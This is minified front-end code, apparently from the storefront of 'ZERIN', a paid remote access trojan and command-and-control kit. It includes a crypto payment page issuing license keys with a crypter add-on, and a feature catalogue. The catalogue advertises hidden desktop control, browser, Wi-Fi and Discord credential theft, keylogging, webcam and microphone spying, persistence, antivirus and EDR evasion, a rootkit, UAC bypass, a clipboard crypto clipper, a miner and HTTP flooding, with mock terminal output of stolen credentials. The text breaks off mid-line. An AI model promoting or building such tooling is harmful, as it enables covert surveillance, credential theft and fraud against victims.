Paid",color:"text-amber-400"},confirmed:{label:"Confirmed",color:"text-emerald-400"},finished:{label:"Complete",color:"text-emerald-400"},failed:{label:"Failed",color:"text-red-400"},expired:{label:"Expired",color:"text-zinc-400"},refunded:{label:"Refunded",color:"text-zinc-400"}};function rV(){const{id:e}=Lo(),[t,n]=p.useState(null),[r,i]=p.useState(""),[a,o]=p.useState(!1),l=p.useCallback(async()=>{if(e)try{const f=await tV(e);n(f)}catch{i("Payment not found")}},[e]);p.useEffect(()=>{l();const f=setInterval(l,5e3);return()=>clearInterval(f)},[l]);const c=(t==null?void 0:t.status)==="finished"||(t==null?void 0:t.status)==="confirmed"||(t==null?void 0:t.status)==="failed"||(t==null?void 0:t.status)==="expired"||(t==null?void 0:t.status)==="refunded";p.useEffect(()=>{},[c]);const u=()=>{t!=null&&t.license_key&&(navigator.clipboard.writeText(t.license_key),o(!0),setTimeout(()=>o(!1),2e3))},d=t?nV[t.status]||{label:t.status,color:"text-zinc-400"}:null;return s.jsxs("div",{className:"relative min-h-screen bg-[#04040a] text-zerin-text overflow-x-hidden",children:[s.jsx("div",{className:"fixed top-0 left-1/2 -translate-x-1/2 w-[800px] h-[500px] pointer-events-none",style:{background:"radial-gradient(ellipse at center, rgba(6,182,212,0.03) 0%, transparent 70%)"}}),s.jsx("nav",{className:"relative z-10 border-b border-[#1a1a22] bg-[#04040a]/80 backdrop-blur-xl",children:s.jsxs("div",{className:"max-w-6xl mx-auto px-6 h-16 flex items-center justify-between",children:[s.jsxs(it,{to:"/",className:"flex items-center gap-3",children:[s.jsx("span",{className:"font-display font-bold text-lg tracking-tight text-zerin-text",children:"ZERIN"}),s.jsx("span",{className:"text-[9px] font-mono tracking-[0.15em] border border-zerin-accent/25 text-zerin-accent/70 px-1.5 py-0.5 leading-none",children:"RAT"})]}),s.jsx(it,{to:"/",className:"text-zerin-text-dim hover:text-zerin-text text-sm font-mono transition-colors px-3 py-1.5",children:"Back"})]})}),s.jsx("div",{className:"relative z-10 flex items-center justify-center min-h-[calc(100vh-64px)] px-6 py-12",children:s.jsx("div",{className:"w-full max-w-lg",children:r?s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-red-400/60 uppercase mb-3",children:"Error"}),s.jsx("p",{className:"text-zerin-text-muted mb-8",children:r}),s.jsx(it,{to:"/",className:"border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-6 py-2.5 transition-all duration-300 inline-block",children:"Go Home"})]}):t?s.jsxs("div",{className:"relative bg-[#08080c] border border-[#1a1a22] overflow-hidden",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsx("div",{className:"border-b border-[#1a1a22] px-6 py-4",children:s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-zerin-text-muted/60 uppercase",children:"Payment Status"}),s.jsxs("div",{className:"flex items-center gap-2",children:[!c&&s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent animate-pulse-dot"}),s.jsx("span",{className:`font-mono text-[12px] font-semibold ${d==null?void 0:d.color}`,children:d==null?void 0:d.label})]})]})}),s.jsxs("div",{className:"px-6 py-6 space-y-6",children:[s.jsxs("div",{className:"space-y-3",children:[s.jsxs("div",{className:"flex justify-between items-center",children:[s.jsx("span",{className:"text-[13px] text-zerin-text-muted",children:"Order"}),s.jsxs("span",{className:"font-mono text-[12px] text-zerin-text-dim",children:[t.payment_id.substring(0,8),"..."]})]}),s.jsxs("div",{className:"flex justify-between items-center",children:[s.jsx("span",{className:"text-[13px] text-zerin-text-muted",children:"Amount"}),s.jsxs("span",{className:"font-mono text-[14px] text-zerin-text font-semibold",children:["$",t.amount," ",t.currency.toUpperCase()]})]}),s.jsxs("div",{className:"flex justify-between items-center",children:[s.jsx("span",{className:"text-[13px] text-zerin-text-muted",children:"Product"}),s.jsx("span",{className:"text-[13px] text-zerin-text-dim",children:t.tier==="rat_crypter"?"Lifetime License + Crypter":"Lifetime License"})]})]}),!c&&s.jsxs("div",{children:[s.jsx("div",{className:"h-[2px] bg-[#1a1a22] overflow-hidden",children:s.jsx("div",{className:"h-full bg-zerin-accent transition-all duration-1000",style:{width:t.status==="waiting"?"25%":t.status==="confirming"?"50%":t.status==="sending"?"75%":t.status==="partially_paid"?"40%":"10%",animation:"pulse 2s ease-in-out infinite"}})}),s.jsx("p",{className:"text-[11px] font-mono text-zerin-text-muted/40 mt-2 text-center",children:"This page auto-refreshes every 5 seconds"})]}),t.license_key&&s.jsxs("div",{className:"space-y-3",children:[s.jsx("div",{className:"h-[1px] bg-gradient-to-r from-transparent via-emerald-500/30 to-transparent"}),s.jsx("div",{className:"font-mono text-[10px] tracking-[0.2em] text-emerald-400/60 uppercase text-center",children:"Your License Key"}),s.jsx("div",{className:"flex items-center gap-2",children:s.jsx("code",{className:"flex-1 block p-3 text-[11px] font-mono bg-[#04040a] border border-emerald-500/20 text-emerald-400 break-all select-all text-center leading-relaxed",children:t.license_key})}),s.jsx("button",{onClick:u,className:"w-full py-2 text-xs font-mono border border-[#1a1a22] text-zerin-text-dim hover:border-zerin-accent/30 hover:text-zerin-text transition-all duration-300",children:a?"Copied!":"Copy Key"}),s.jsxs("p",{className:"text-[10px] text-amber-400/60 text-center font-mono",children:["Save this key — use it to register at"," ",s.jsx(it,{to:"/register",className:"underline hover:text-amber-400",children:"/register"})]})]}),(t.status==="failed"||t.status==="expired")&&s.jsxs("div",{className:"text-center space-y-3",children:[s.jsx("div",{className:"h-[1px] bg-gradient-to-r from-transparent via-red-500/20 to-transparent"}),s.jsx("p",{className:"text-[13px] text-red-400/70",children:t.status==="expired"?"This payment has expired. Please create a new one.":"Payment failed. Please try again."}),s.jsx(it,{to:"/#pricing",className:"inline-block border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-6 py-2 transition-all duration-300",children:"Try Again"})]})]})]}):s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-5 h-5 border-2 border-zerin-accent/30 border-t-zerin-accent rounded-full animate-spin mx-auto mb-4"}),s.jsx("p",{className:"text-zerin-text-muted text-sm font-mono",children:"Loading payment..."})]})})})]})}const ki=[{id:"remote",label:"Remote Operations",tag:"RMT",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"m6.75 7.5 3 2.25-3 2.25m4.5 0h3m-9 8.25h13.5A2.25 2.25 0 0 0 21 18V6a2.25 2.25 0 0 0-2.25-2.25H5.25A2.25 2.25 0 0 0 3 6v12a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Full interactive control over target systems with multiple access channels.",features:[{name:"Interactive Shell",desc:"CMD and PowerShell execution with full stdout/stderr capture",detail:"Hidden process, configurable timeout, pipe-based I/O"},{name:"PowerShell Engine",desc:"Base64-encoded command execution bypassing argument restrictions",detail:"UTF-16LE encoded commands via -EncodedCommand"},{name:"VNC Remote Desktop",desc:"Real-time interactive desktop session over WebSocket",detail:"Low-latency streaming, keyboard + mouse control"},{name:"Hidden VNC (hVNC)",desc:"Invisible desktop session on a separate virtual desktop",detail:"User sees nothing — operator has full GUI access"},{name:"File Operations",desc:"Upload, download, delete, encrypt, and browse the target filesystem",detail:"Directory listing, file transfer, in-place encryption"},{name:"Process Management",desc:"List running processes, terminate by PID, spawn new processes",detail:"Full process enumeration with details"}],terminal:{title:"zerin :: remote-ops",lines:["$ session --connect agent-7f3a","[*] Session established — latency 42ms","$ shell whoami"," DESKTOP-PC\\Administrator","$ hvnc --start --desktop zerin_hidden"," [+] Hidden desktop created"," [+] Explorer.exe spawned on hidden desktop",' [+] VNC streaming — active']}},{id:"surveillance",label:"Surveillance",tag:"SRV",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"m15.75 10.5 4.72-4.72a.75.75 0 0 1 1.28.53v11.38a.75.75 0 0 1-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 0 0 2.25-2.25v-9a2.25 2.25 0 0 0-2.25-2.25h-9A2.25 2.25 0 0 0 2.25 7.5v9a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Real-time visual and audio monitoring of target environments.",features:[{name:"GDI Screen Capture",desc:"Standard BitBlt-based screenshot capture returning raw BMP",detail:"Lightweight, compatible with all Windows versions"},{name:"DXGI Desktop Duplication",desc:"GPU-accelerated capture using DirectX for high-fidelity screenshots",detail:"Dirty-rect tiling, works even when GDI is blocked by EDR"},{name:"Webcam Access",desc:"Enumerate and stream from capture devices in real-time",detail:"Device selection, live feed to dashboard"},{name:"Microphone Recording",desc:"Capture live audio from the target microphone",detail:"Streaming audio to operator dashboard"},{name:"Input Monitoring",desc:"Keystroke capture with application context per window",detail:"Logs organized by active window title"}]},{id:"credentials",label:"Credential Auditing",tag:"CRD",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M15.75 5.25a3 3 0 0 1 3 3m3 0a6 6 0 0 1-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1 1 21.75 8.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Extract and validate stored credentials across browsers and applications.",features:[{name:"Chromium Browsers",desc:"Chrome, Edge, Brave, Opera, Vivaldi — passwords, cookies, tokens",detail:"DPAPI master key decryption, AES-256-GCM v80+ support"},{name:"Firefox",desc:"Decrypt saved logins from logins.json and key4.db",detail:"NSS credential store decryption"},{name:"Wi-Fi Profiles",desc:"Extract saved wireless network passwords",detail:"All stored PSK passphrases via profile export"},{name:"Windows Credential Manager",desc:"DPAPI-protected vault entries and stored credentials",detail:"Full credential enumeration"},{name:"Discord Tokens",desc:"Scan LevelDB stores for Discord stable, Canary, and PTB",detail:"Token extraction from .ldb and .log files"},{name:"Application Credentials",desc:"Telegram, FileZilla, WinSCP, PuTTY, Outlook sessions",detail:"Session data, saved passwords, stored configs"}],terminal:{title:"zerin :: cred-audit",lines:["$ creds --all --format json"," [*] Scanning credential stores..."," [+] Chrome: 47 saved passwords"," [+] Edge: 12 saved passwords"," [+] Firefox: 8 saved logins"," [+] WiFi: 5 stored profiles"," [+] Discord: 2 tokens found"," [+] WinSCP: 3 saved sessions",' [] Export complete — 77 credentials']}},{id:"persistence",label:"Persistence Engine",tag:"PST",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M19.5 12c0-1.232-.046-2.453-.138-3.662a4.006 4.006 0 0 0-3.7-3.7 48.678 48.678 0 0 0-7.324 0 4.006 4.006 0 0 0-3.7 3.7c-.017.22-.032.441-.046.662M19.5 12l3-3m-3 3-3-3m-12 3c0 1.232.046 2.453.138 3.662a4.006 4.006 0 0 0 3.7 3.7 48.656 48.656 0 0 0 7.324 0 4.006 4.006 0 0 0 3.7-3.7c.017-.22.032-.441.046-.662M4.5 12l3 3m-3-3-3 3",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"13 persistence mechanisms covering user-level and elevated techniques.",features:[{name:"Registry Run Key",desc:"HKCU\\...\\Run — survives reboot, no elevation required"},{name:"Scheduled Task",desc:"Recurring schtask with configurable interval and name"},{name:"Windows Service",desc:"AUTO_START service via Service Control Manager (requires elevation)"},{name:"Startup Folder",desc:"Drop to current-user Startup directory — simple, reliable"},{name:"Logon Script",desc:"UserInitMprLogonScript environment variable hijack"},{name:"Screensaver Hijack",desc:"SCRNSAVE.EXE registry replacement — triggers on idle"},{name:"IFEO Debugger",desc:"Image File Execution Options debugger redirect (requires elevation)"},{name:"BITS Job",desc:"Background Intelligent Transfer Service notification command"},{name:"COM Object Hijack",desc:"CLSID InProcServer32 hijack — loaded by Explorer on login"},{name:"DLL Search Order",desc:"Plant DLL in application directory for search order hijack"},{name:"WMI Subscription",desc:"FilterToConsumerBinding with CommandLineEventConsumer"},{name:"Port Monitor",desc:"Print spooler monitor DLL — loaded by spoolsv.exe (requires elevation)"},{name:"Security Support Provider",desc:"LSA Security Packages registry — loaded by LSASS on boot"}]},{id:"evasion",label:"Evasion Engine",tag:"EVA",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M3.98 8.223A10.477 10.477 0 0 0 1.934 12c1.292 4.338 5.31 7.5 10.066 7.5.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0 1 12 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 0 1-4.293 5.774M6.228 6.228 3 3m3.228 3.228 3.65 3.65m7.894 7.894L21 21m-3.228-3.228-3.65-3.65m0 0a3 3 0 1 0-4.243-4.243m4.242 4.242L9.88 9.88",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Multi-layered defense evasion — static, runtime, and in-memory techniques.",features:[{name:"Rootkit (11 Hooks)",desc:"Reflective DLL with inline hooks for process, file, registry, network, and service concealment",detail:"MinHook-based: NtQuerySystemInformation, NtQueryDirectoryFile, NtEnumerateKey, NtDeviceIoControlFile, and more"},{name:"AMSI Bypass",desc:"Patches AmsiOpenSession at runtime — all AMSI scans silently fail",detail:"XOR-constructed patch bytes avoid static signatures"},{name:"ETW Patching",desc:"Patches EtwEventWrite with xor eax,eax; ret — blinds EDR telemetry",detail:"Applied in own process + all injected processes"},{name:"Sleep Obfuscation",desc:"Ekko-style: XOR-encrypts .text section during beacon sleep intervals",detail:"Timer-queue based encryption/decryption cycle"},{name:"Indirect Syscalls",desc:"Extracts SSNs from ntdll, uses syscall;ret gadgets — bypasses userland hooks",detail:"NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx, and more"},{name:"ntdll Unhooking",desc:"Restores ntdll .text from clean KnownDlls mapping — removes EDR hooks",detail:"NtOpenSection/NtMapViewOfSection — no file I/O"},{name:"Polymorphic Engine",desc:"Every build produces unique machine code — no two agents share the same hash",detail:"Junk code generation, function randomization, unique keys per build"},{name:"Encrypted Strings",desc:"All strings ChaCha20-encrypted per-build, decrypted on stack at runtime",detail:"Wiped after use — zero plaintext in memory at rest"},{name:"IAT Dilution",desc:"Benign Windows APIs forced into import table to mimic legitimate software",detail:"Clean import profile — no suspicious API imports visible"},{name:"Dynamic API Resolution",desc:"PEB walk + FNV1a hash lookup — sensitive APIs never appear in IAT",detail:"RESOLVE_API macro for all Nt* and injection APIs"},{name:"Kill Protection",desc:"Strips terminate/suspend rights from OpenProcess calls targeting agent PID",detail:"Blocks Task Manager, taskkill, Process Explorer"},{name:"Child Process Injection",desc:"NtResumeThread hook auto-injects rootkit into every new child process",detail:"Shared memory ring buffer IPC for near-instant propagation"}],terminal:{title:"zerin :: evasion-status",lines:["$ evasion --status",' AMSI Bypass ........... active',' ETW Patching .......... active',' Sleep Obfuscation ..... active',' Indirect Syscalls ..... active',' ntdll Unhooked ........ clean',' Rootkit Hooks ......... 11/11',' Kill Protection ....... active',' Injected Processes .... 34']}},{id:"network",label:"Network Operations",tag:"NET",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M7.5 21 3 16.5m0 0L7.5 12M3 16.5h13.5m0-13.5L21 7.5m0 0L16.5 12M21 7.5H7.5",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Pivot into internal networks and route traffic through compromised hosts.",features:[{name:"SOCKS5 Reverse Proxy",desc:"Full SOCKS5 proxy tunneled through the agent over WebSocket",detail:"256 concurrent channels, binary framing, auto-reconnect"},{name:"Internal Pivoting",desc:"Route operator tools through the agent to reach internal hosts",detail:"Access segmented networks, internal services, lateral movement"},{name:"Port Hiding",desc:"Rootkit filters agent connections from netstat and TCPView",detail:"NtDeviceIoControlFile hook on NSI device — IPv4 and IPv6"}]},{id:"recon",label:"Reconnaissance",tag:"RCN",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"m21 21-5.197-5.197m0 0A7.5 7.5 0 1 0 5.196 5.196a7.5 7.5 0 0 0 10.607 10.607Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Comprehensive target profiling and environment enumeration.",features:[{name:"System Info",desc:"OS version, build, architecture, hostname, domain, uptime"},{name:"Hardware Specs",desc:"CPU model, RAM capacity, GPU, disk information"},{name:"Network Interfaces",desc:"Adapters, IP addresses, MAC addresses, gateway info"},{name:"Active Connections",desc:"TCP/UDP connections, listening ports — like netstat"},{name:"Environment Variables",desc:"Full environment variable enumeration"},{name:"Registry Access",desc:"Read and write arbitrary registry keys and values"},{name:"Installed Applications",desc:"Software list from Add/Remove Programs"},{name:"Window Enumeration",desc:"Visible top-level windows with titles and owning PIDs"}]},{id:"privesc",label:"Privilege Escalation",tag:"ESC",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M4.5 10.5 12 3m0 0 7.5 7.5M12 3v18",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Silent UAC bypass techniques for automatic privilege elevation.",features:[{name:"Fodhelper UAC Bypass",desc:"Registry hijack via ms-settings shell command — auto-elevates without prompt",detail:"Works on Windows 10/11, cleans up registry keys after execution"},{name:"CMSTPLUA COM Elevation",desc:"CoGetObject elevation moniker to obtain ICMLuaUtil interface",detail:"ShellExec via COM — works Windows 7 through 11"},{name:"Forced UAC Fallback",desc:"ShellExecuteEx with runas verb if silent methods fail",detail:"Automatic fallback chain — tries silent first, prompts only as last resort"},{name:"Auto-Elevation on Launch",desc:"Automatic silent UAC bypass attempt on agent startup",detail:"Seamless — agent elevates itself without operator interaction"}],terminal:{title:"zerin :: priv-esc",lines:["$ elevate --auto"," [*] Current: Medium Integrity"," [*] Trying Fodhelper bypass..."," [+] Registry hijack set"," [+] fodhelper.exe launched"," [+] Elevated session spawned"," [*] Registry cleaned up",' [] Now running as High Integrity']}},{id:"c2",label:"C2 Infrastructure",tag:"C2I",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M16.5 10.5V6.75a4.5 4.5 0 1 0-9 0v3.75m-.75 11.25h10.5a2.25 2.25 0 0 0 2.25-2.25v-6.75a2.25 2.25 0 0 0-2.25-2.25H6.75a2.25 2.25 0 0 0-2.25 2.25v6.75a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Military-grade encrypted communications and payload delivery.",features:[{name:"ChaCha20-Poly1305",desc:"AEAD encryption for all C2 traffic — zero plaintext on the wire",detail:"Per-session keys, authenticated encryption"},{name:"X25519 Key Exchange",desc:"Elliptic curve Diffie-Hellman for forward-secret key negotiation",detail:"Ephemeral keys — compromise of one session doesn't affect others"},{name:"TLS 1.3 Transport",desc:"Industry-standard transport security wrapping the encrypted C2 channel",detail:"Double encryption — TLS outer layer + ChaCha20 inner layer"},{name:"Payload Builder",desc:"On-demand payload generation with configurable parameters",detail:"Callback URL, sleep interval, jitter, user-agent, output format (EXE/DLL)"},{name:"Stager / Stage 0",desc:"Lightweight loader — downloads, decrypts, and reflectively loads the full agent",detail:"XOR-encrypted payload, no disk artifacts, in-memory PE loading"},{name:"Crypter",desc:"Server-side runtime packing engine for additional evasion",detail:"Polymorphic + metamorphic generation, unique structure per build"}]},{id:"extras",label:"Extended Modules",tag:"EXT",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M3.75 6A2.25 2.25 0 0 1 6 3.75h2.25A2.25 2.25 0 0 1 10.5 6v2.25a2.25 2.25 0 0 1-2.25 2.25H6a2.25 2.25 0 0 1-2.25-2.25V6ZM3.75 15.75A2.25 2.25 0 0 1 6 13.5h2.25a2.25 2.25 0 0 1 2.25 2.25V18a2.25 2.25 0 0 1-2.25 2.25H6A2.25 2.25 0 0 1 3.75 18v-2.25ZM13.5 6a2.25 2.25 0 0 1 2.25-2.25H18A2.25 2.25 0 0 1 20.25 6v2.25A2.25 2.25 0 0 1 18 10.5h-2.25a2.25 2.25 0 0 1-2.25-2.25V6ZM13.5 15.75a2.25 2.25 0 0 1 2.25-2.25H18a2.25 2.25 0 0 1 2.25 2.25V18A2.25 2.25 0 0 1 18 20.25h-2.25a2.25 2.25 0 0 1-2.25-2.25v-2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Additional operator modules for disruption, crypto operations, and stress testing.",features:[{name:"Troll Module",desc:"MessageBox, text-to-speech, wallpaper change, taskbar hide, CD eject, mouse/keyboard lock, black screen, DNS reroute",detail:"12 disruption commands for operator interaction"},{name:"Crypto Clipper",desc:"Clipboard monitoring for 9 cryptocurrencies — BTC, ETH, LTC, XMR, DOGE, SOL, XRP, TRX, BNB",detail:"Format-aware pattern matching (Base58, Bech32, hex), operator wallet replacement"},{name:"Miner Management",desc:"XMRig lifecycle control — deploy, configure pool/wallet, start/stop, monitor hashrate",detail:"IDLE priority, configurable CPU throttle, HTTP API stats"},{name:"HTTP Flood",desc:"Layer 7 stress testing — up to 64 threads with randomized User-Agent rotation",detail:"Configurable duration, method (GET/POST/HEAD), auto-stop watchdog"},{name:"Power Control",desc:"Restart or shutdown the target system remotely"},{name:"Agent Uninstall",desc:"Clean removal — strips persistence entries and self-deletes"}]}];function A3(e=.15){const t=p.useRef(null),[n,r]=p.useState(!1);return p.useEffect(()=>{const i=t.current;if(!i)return;const a=new IntersectionObserver(([o])=>{o.isIntersecting&&(r(!0),a.disconnect())},{threshold:e});return a.observe(i),()=>a.disconnect()},[e]),{ref:t,visible:n}}const iV=p.memo(function(){const t=p.useRef(null);return p.useEffect(()=>{const n=t.current;if(!n)return;const r=n.getContext("2d",{alpha:!0});let i,a=0,o=0;const l=1e3/30,c=256,u=new Array(c);for(let b=0;b{cancelAnimationFrame(i),window.removeEventListener("resize",y)}},[]),s.jsx("canvas",{ref:t,className:"fixed inset-0 pointer-events-none",style:{zIndex:0}})});function g2({text:e,base:t}){const n=[];let r=0;const i=/([^<]*)<\/span>/g;let a=0,o;for(;(o=i.exec(e))!==null;)o.index>a&&n.push(s.jsx("span",{className:t,children:e.slice(a,o.index)},r++)),n.push(s.jsx("span",{className:o[1],children:o[2]},r++)),a=i.lastIndex;return as.jsx("div",{className:`transition-all duration-500 ${r?"opacity-100":"opacity-0"}`,style:{transitionDelay:r?`${a*80}ms`:"0ms"},children:i.startsWith("$")?s.jsxs(s.Fragment,{children:[s.jsx("span",{className:"text-zerin-accent",children:"$"}),s.jsx("span",{className:"ml-2",children:s.jsx(g2,{text:i.slice(1),base:"text-zerin-text-dim"})})]}):s.jsx("span",{className:"pl-4",children:s.jsx(g2,{text:i,base:"text-zerin-text-muted/60"})})},a))})]})}const sV=p.memo(function({feat:t,delay:n,visible:r}){const[i,a]=p.useState(!1);return s.jsx("div",{className:`group border border-[#1a1a22] bg-[#08080c]/60 hover:border-zerin-accent/20 transition-all duration-500 ${r?"opacity-100 translate-y-0":"opacity-0 translate-y-3"}`,style:{transitionDelay:r?`${n}ms`:"0ms"},children:s.jsxs("button",{onClick:()=>t.detail&&a(!i),className:"w-full text-left px-5 py-4 flex items-start gap-4",children:[s.jsx("div",{className:"flex-shrink-0 mt-0.5 w-1.5 h-1.5 rounded-full bg-zerin-accent/50 group-hover:bg-zerin-accent transition-colors"}),s.jsxs("div",{className:"flex-1 min-w-0",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("h4",{className:"font-display text-[14px] font-semibold text-zerin-text group-hover:text-zerin-accent transition-colors duration-300",children:t.name}),t.detail&&s.jsx("svg",{className:`w-3 h-3 text-zerin-text-muted/40 transition-transform duration-200 ${i?"rotate-180":""}`,viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"m19.5 8.25-7.5 7.5-7.5-7.5"})})]}),s.jsx("p",{className:"font-mono text-[12px] text-zerin-text-muted leading-relaxed mt-0.5",children:t.desc}),t.detail&&i&&s.jsx("p",{className:"font-mono text-[11px] text-zerin-accent/60 leading-relaxed mt-2 pl-0 border-l-2 border-zerin-accent/20 ml-0 pl-3",children:t.detail})]})]})})});function oV({cat:e,index:t}){const{ref:n,visible:r}=A3(.1);return s.jsxs("section",{ref:n,id:e.id,className:"scroll-mt-24",children:[s.jsxs("div",{className:`flex items-center gap-4 mb-6 transition-all duration-700 ${r?"opacity-100 translate-x-0":"opacity-0 -translate-x-4"}`,children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent/40",children:String(t+1).padStart(2,"0")}),s.jsx("div",{className:"w-8 h-8 border border-zerin-accent/20 bg-zerin-accent/5 flex items-center justify-center text-zerin-accent/70",children:e.icon})]}),s.jsxs("div",{children:[s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("h2",{className:"font-display font-bold text-xl text-zerin-text tracking-tight",children:e.label}),s.jsx("span",{className:"font-mono text-[9px] tracking-[0.15em] border border-zerin-accent/20 text-zerin-accent/50 px-1.5 py-0.5 leading-none",children:e.tag})]}),s.jsx("p",{className:"font-mono text-[12px] text-zerin-text-muted mt-0.5",children:e.lead})]})]}),s.jsxs("div",{className:`grid gap-[1px] ${e.terminal?"lg:grid-cols-[1fr_380px]":""} gap-6`,children:[s.jsx("div",{className:"space-y-[1px]",children:e.features.map((i,a)=>s.jsx(sV,{feat:i,delay:a*50,visible:r},i.name))}),e.terminal&&s.jsx("div",{className:"hidden lg:block",children:s.jsx("div",{className:"sticky top-24",children:s.jsx(aV,{title:e.terminal.title,lines:e.terminal.lines})})})]})]})}function lV({activeId:e}){return s.jsx("nav",{className:"hidden xl:block fixed left-6 top-1/2 -translate-y-1/2 z-40",children:s.jsx("div",{className:"flex flex-col gap-1",children:ki.map(t=>s.jsxs("a",{href:`#${t.id}`,className:`group flex items-center gap-2 py-1 transition-all duration-300 ${e===t.id?"opacity-100":"opacity-30 hover:opacity-60"}`,children:[s.jsx("div",{className:`h-[2px] transition-all duration-300 ${e===t.id?"w-6 bg-zerin-accent":"w-3 bg-zerin-text-muted/40 group-hover:w-4 group-hover:bg-zerin-text-muted/60"}`}),s.jsx("span",{className:"font-mono text-[9px] tracking-[0.15em] text-zerin-text-muted uppercase",children:t.tag})]},t.id))})})}function Rl({value:e,label:t,suffix:n=""}){return s.jsxs("div",{className:"text-center",children:[s.jsxs("div",{className:"font-mono text-3xl md:text-4xl font-bold text-zerin-accent tabular-nums",children:[e,n]}),s.jsx("div",{className:"text-zerin-text-muted text-[10px] mt-1.5 uppercase tracking-[0.2em] font-mono",children:t})]})}function cV(){const[e,t]=p.useState(!1),[n,r]=p.useState(ki[0].id);p.useEffect(()=>{const o=()=>t(window.scrollY>20);return window.addEventListener("scroll",o),()=>window.removeEventListener("scroll",o)},[]),p.useEffect(()=>{const o=new IntersectionObserver(c=>{for(const u of c)u.isIntersecting&&r(u.target.id)},{rootMargin:"-30% 0px -60% 0px"});return ki.map(c=>document.getElementById(c.id)).filter(Boolean).forEach(c=>o.observe(c)),()=>o.disconnect()},[]);const i=p.useCallback(()=>{window.scrollTo({top:0,behavior:"smooth"})},[]),a=ki.reduce((o,l)=>o+l.features.length,0);return s.jsxs("div",{className:"relative min-h-screen bg-[#04040a] text-zerin-text overflow-x-hidden overflow-y-auto",children:[s.jsx(iV,{}),s.jsx("div",{className:"fixed top-0 left-1/2 -translate-x-1/2 w-[1000px] h-[600px] pointer-events-none",style:{background:"radial-gradient(ellipse at center, rgba(6,182,212,0.03) 0%, transparent 70%)",zIndex:0}}),s.jsx("nav",{className:`fixed top-0 left-0 right-0 z-50 transition-all duration-300 ${e?"bg-[#04040a]/80 backdrop-blur-xl border-b border-[#1a1a22]":"bg-transparent"}`,children:s.jsxs("div",{className:"max-w-6xl mx-auto px-6 h-16 flex items-center justify-between",children:[s.jsx("div",{className:"flex items-center gap-3",children:s.jsxs(it,{to:"/",className:"flex items-center gap-3 hover:opacity-80 transition-opacity",children:[s.jsx("span",{className:"font-display font-bold text-lg tracking-tight text-zerin-text",children:"ZERIN"}),s.jsx("span",{className:"text-[9px] font-mono tracking-[0.15em] border border-zerin-accent/25 text-zerin-accent/70 px-1.5 py-0.5 leading-none",children:"C2"})]})}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(it,{to:"/features",className:"text-zerin-accent text-sm font-mono transition-colors px-3 